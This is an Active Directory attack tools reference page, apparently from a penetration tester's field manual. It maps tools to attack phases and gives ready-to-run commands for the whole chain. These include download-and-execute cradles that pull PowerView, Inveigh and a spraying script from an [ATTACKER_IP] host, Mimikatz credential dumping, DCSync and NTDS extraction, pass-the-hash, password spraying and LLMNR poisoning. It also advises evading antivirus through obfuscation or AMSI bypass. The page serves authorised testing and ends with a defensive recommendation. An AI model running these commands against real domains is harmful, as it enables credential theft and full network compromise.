AD Tools Reference

🛡️ Methodology Checklist

Unauthenticated phase: Kerbrute, rpcclient NULL, enum4linux-ng
First credential: BloodHound.py, PowerView, Snaffler, GetUserSPNs
Lateral movement: Impacket psexec/wmiexec/smbexec, evil-winrm, NXC
Domain compromise: secretsdump DCSync, Mimikatz DCSync, NTDS dump
Kerberos attacks: Rubeus (Windows), impacket-GetUserSPNs/GetNPUsers (Linux)
ACL abuse: PowerView + BloodHound ACL edges
Select tool based on OS context and EDR presence

🎯 Operational Context

Use when: Selecting the right AD enumeration tool for current access level and constraints — quick lookup for PowerView vs ldapsearch vs BloodHound vs native. Think Dumber First: Use BloodHound first if you have any creds. PowerView for targeted property queries. Native commands when tools are blocked. Match tool to access level — don’t use credentialed tools before you have creds. Skip when: N/A — this is a reference document.

⚡ Tactical Cheatsheet

Tool	Primary Use
`PowerView.ps1` / `SharpView`	AD situational awareness, targeted object queries, Kerberoastable/ASREPRoastable user finding
`BloodHound`	Visual AD relationship mapping, shortest attack path discovery
`SharpHound.exe`	C# BloodHound data collector — generates JSON for BH import
`BloodHound.py`	Python BH ingestor — runs from non-domain-joined attack box
`Kerbrute`	Kerberos pre-auth user enumeration, password spraying, brute force
`Impacket`	Python toolkit — covers nearly all AD attack surfaces
`Responder`	LLMNR/NBT-NS/MDNS poisoner — captures NTLMv2 hashes
`Inveigh.ps1` / `InveighZero`	Windows-based LLMNR poisoner (PowerShell/C#)
`Rubeus`	Kerberos abuse tool — Kerberoasting, AS-REP, Pass-the-Ticket, S4U
`Mimikatz`	LSASS dump, PtH, plaintext extraction, Kerberos ticket extraction
`CrackMapExec` / `NetExec (nxc)`	SMB/WMI/WinRM enumeration, spray, dump, lateral movement
`evil-winrm`	Interactive WinRM shell
`rpcclient`	RPC-based AD enumeration from Linux
`enum4linux` / `enum4linux-ng`	SMB/Samba AD enumeration
`ldapsearch` / `windapsearch`	LDAP queries for AD objects
`Snaffler`	File share credential/secret hunting across AD
`secretsdump.py`	Remote SAM/LSA/NTDS dump
`psexec.py`	Semi-interactive shell via SMB
`wmiexec.py`	Command execution via WMI
`smbclient.py` / `smbmap`	Share enumeration, file access
`GetUserSPNs.py`	Kerberoasting (list SPN accounts + request TGS)
`GetNPUsers.py`	ASREPRoasting (list + dump AS-REP hashes)
`ntlmrelayx.py`	NTLM relay attacks
`PetitPotam.py`	NTLM coercion via MS-EFSRPC
`noPac.py`	CVE-2021-42278/42287 machine account → DA impersonation
`mssqlclient.py`	MSSQL interaction (xp_cmdshell, xp_dirtree)
`lookupsid.py`	SID brute-force for RID enumeration
`ticketer.py`	TGT/TGS ticket creation and customization
`gettgtpkinit.py`	Certificate → TGT (ADCS attacks)
`getnthash.py`	TGT → NT hash via U2U (Shadow Credentials)
`DomainPasswordSpray.ps1`	PowerShell domain password spraying
`LAPSToolkit`	LAPS auditing and password retrieval
`gpp-decrypt`	Decrypt Group Policy Preferences cpassword
`adidnsdump`	AD-integrated DNS zone dump
`PingCastle`	AD security risk assessment (CMMI-based)
`Group3r`	GPO misconfiguration auditing
`ADRecon`	AD data extraction to Excel format
`setspn.exe`	Read/modify/delete SPNs on AD service accounts
`raiseChild.py`	Child-to-parent domain privilege escalation
`rpcdump.py`	RPC endpoint mapper
`smbserver.py`	Instant SMB server for file transfer
`AD Explorer`	GUI AD viewer/editor + offline snapshot comparison

🔬 Deep Dive & Workflow

Getting the Tools Running

Setup/loading steps for the recurring AD tools. The individual attack pages carry a short snippet for their specific tool and link back here for the full list.

PowerView (Get-Domain*, Set-Domain*, Find-*) — a single PowerShell script; its functions don’t exist until it’s loaded into the session.

# attacker: fetch + host
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
python3 -m http.server 8000

# target: in-memory load (no disk write, ignores execution policy)
IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]:8000/PowerView.ps1')
# or from disk: Import-Module .\PowerView.ps1   (launch powershell -ep bypass if blocked)

SharpView is the compiled .NET port for locked-down PowerShell — upload SharpView.exe, pass the function as an argument: .\SharpView.exe Get-DomainUser.

Rubeus (Kerberoast, AS-REP, Pass-the-Ticket, S4U) — compiled C# binary, no load step. Grab a prebuilt Rubeus.exe from GhostPack or compile it, upload to the target, run with .\Rubeus.exe.

Mimikatz — compiled binary; run from an elevated/SYSTEM context.

.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

SharpHound / BloodHound — collector + GUI.

# Windows collector (upload SharpHound.exe), then import the zip into BloodHound
.\SharpHound.exe -c All --zipfilename loot.zip

# Linux collector — runs from the attack box, no target upload
pipx install bloodhound        # or: pip install bloodhound
bloodhound-python -u [USER] -p [PASS] -d [DOMAIN] -ns [DC_IP] -c All

RustHound-CE is a faster Rust collector with the same output: rusthound-ce --domain [DOMAIN] -u [USER] -p [PASS] -z.

Impacket (secretsdump, GetUserSPNs, psexec, …) — Python toolkit, install once on the attacker box.

pipx install impacket          # or: apt install python3-impacket
# scripts exposed as impacket-secretsdump, impacket-GetUserSPNs, ...

kerbrute — static Go binary for pre-auth user enum / spraying.

wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute
chmod +x kerbrute

Responder — LLMNR/NBT-NS/mDNS poisoner; preinstalled on Kali (/usr/share/responder, or git clone lgandx/Responder).

sudo responder -I [INTERFACE]

Inveigh — Windows-side poisoner. The PowerShell version loads via cradle like PowerView; InveighZero is a compiled exe.

IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]:8000/Inveigh.ps1')
Invoke-Inveigh -ConsoleOutput Y

DomainPasswordSpray — PowerShell spraying script, loaded via cradle like PowerView.

IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]:8000/DomainPasswordSpray.ps1')
Invoke-DomainPasswordSpray -Password [PASS]

Windows-side tools (PowerView, Rubeus, Mimikatz, SharpHound, Inveigh) must be transferred to the target first — see File_Transfer_Windows. Linux-side tools (Impacket, bloodhound-python, kerbrute, Responder, NetExec) run from the attack box.

Tool Selection by Phase

Unauthenticated / NULL Session Phase:

kerbrute userenum --dc [DC_IP] -d [DOMAIN] userlist.txt   # user enum via Kerberos
nxc smb [DC_IP] -u '' -p '' --users                       # NULL session user list
rpcclient -U "" -N [DC_IP]                                 # NULL session RPC
enum4linux-ng [DC_IP]                                      # full SMB/RPC enum

First Credential — Enumeration Phase:

# BloodHound data collection
bloodhound-python -u [USER] -p [PASS] -d [DOMAIN] -ns [DC_IP] -c All
 
# Or via SharpHound (from Windows):
.\SharpHound.exe -c All --zipfilename loot.zip
 
# PowerView targeted queries:
Get-DomainUser -SPN         # Kerberoastable
Get-DomainUser -PreauthNotRequired  # ASREPRoastable
Get-DomainGroup -AdminCount
Get-DomainComputer -Unconstrained    # Unconstrained delegation
 
# Snaffler for share cred hunting:
.\Snaffler.exe -s -o snaffler_output.txt

Lateral Movement Phase:

# Impacket lateral movement options:
impacket-psexec [DOMAIN]/[USER]:[PASS]@[TARGET_IP]
impacket-wmiexec [DOMAIN]/[USER]:[PASS]@[TARGET_IP]
impacket-smbexec [DOMAIN]/[USER]:[PASS]@[TARGET_IP]
evil-winrm -i [TARGET_IP] -u [USER] -p [PASS]
 
# Pass-the-Hash:
impacket-psexec [DOMAIN]/[USER]@[TARGET_IP] -hashes :[NTLM_HASH]
nxc smb [TARGET_IP] -u [USER] -H [NTLM_HASH]

Domain Compromise Phase:

# DCSync (from Linux):
impacket-secretsdump [DOMAIN]/[USER]:[PASS]@[DC_IP] -just-dc-ntlm
 
# Mimikatz DCSync (from Windows):
lsadump::dcsync /user:[DOMAIN]\[USER]
lsadump::dcsync /all /csv
 
# NTDS.dit dump:
nxc smb [DC_IP] -u [USER] -p [PASS] --ntds

Impacket Quick Reference

# Most used impacket scripts:
impacket-secretsdump   # dump SAM/LSA/NTDS
impacket-psexec        # SMB SYSTEM shell
impacket-wmiexec       # WMI exec (SYSTEM)
impacket-smbexec       # Service exec
impacket-mssqlclient   # MSSQL interactive
impacket-ntlmrelayx    # NTLM relay
impacket-GetUserSPNs   # Kerberoast
impacket-GetNPUsers    # ASREPRoast
impacket-lookupsid     # RID brute
impacket-ticketer      # Ticket forge
impacket-smbserver     # Quick SMB share
impacket-rpcdump       # RPC endpoint map

BloodHound Key Queries

"Shortest Paths to Domain Admins"
"Shortest Paths to Domain Admins from Owned Principals"
"Find Computers with Unconstrained Delegation"
"Find AS-REP Roastable Users"
"Shortest Paths from Kerberoastable Users"
"Users with DCSync Rights"
"Transitive Object Control" (for ACL abuse chains)

🛠️ Troubleshooting & Edge Cases

Problem	Cause	Fix
Unsure which tool to use	Access level unclear	Determine: unauthenticated → enum4linux; creds Linux → ldapdomaindump/bloodhound-python; creds Windows → SharpHound/PowerView
Tool blocked by AV	Default signatures	Rename binary, obfuscate, or use AMSI bypass; PowerView can be loaded via IEX from memory
BloodHound data stale	Collected too early	Re-run SharpHound after privilege escalation to capture new ACL edges visible with higher privileges
ldapsearch returns too much data	No filter applied	Filter: `ldapsearch -x ... '(objectClass=user)' sAMAccountName` — limit attributes returned
Tool version mismatch	SharpHound vs BloodHound CE incompatibility	Match versions: BloodHound CE requires SharpHound 2.x; Legacy BloodHound uses SharpHound 1.x

📝 Reporting Trigger

Finding Title: AD Enumeration Toolset Provides Comprehensive Domain Visibility Impact: The combination of BloodHound, PowerView, ldapdomaindump, and native LDAP queries provides complete AD attack surface mapping including shortest paths to Domain Admin, Kerberoastable accounts, and ACL abuse opportunities. Root Cause: Legitimate AD enumeration tools are dual-use and indistinguishable from normal IT administration at the protocol level. Recommendation: Implement Microsoft Defender for Identity to detect tool-specific query patterns. Alert on SharpHound LDAP collection signatures. Enforce least-privilege AD read permissions to limit data returned to standard users.

AD_Initial_Enumeration
AD_Kerberoasting
AD_LLMNR_Poisoning
AD_ACL_Abuse
NetExec_SMB_Recon
File_Transfer_Windows — transferring Windows-side tooling to the target

Field Manual

Explorer

AD Tools Reference

🛡️ Methodology Checklist

🎯 Operational Context

⚡ Tactical Cheatsheet

🔬 Deep Dive & Workflow

Getting the Tools Running

Tool Selection by Phase

Impacket Quick Reference

BloodHound Key Queries

🛠️ Troubleshooting & Edge Cases

📝 Reporting Trigger

Graph View

Table of Contents

Backlinks

Field Manual

Explorer

AD Tools Reference

🛡️ Methodology Checklist

🎯 Operational Context

⚡ Tactical Cheatsheet

🔬 Deep Dive & Workflow

Getting the Tools Running

Tool Selection by Phase

Impacket Quick Reference

BloodHound Key Queries

🛠️ Troubleshooting & Edge Cases

📝 Reporting Trigger

🔗 Related Nodes

Graph View

Table of Contents

Backlinks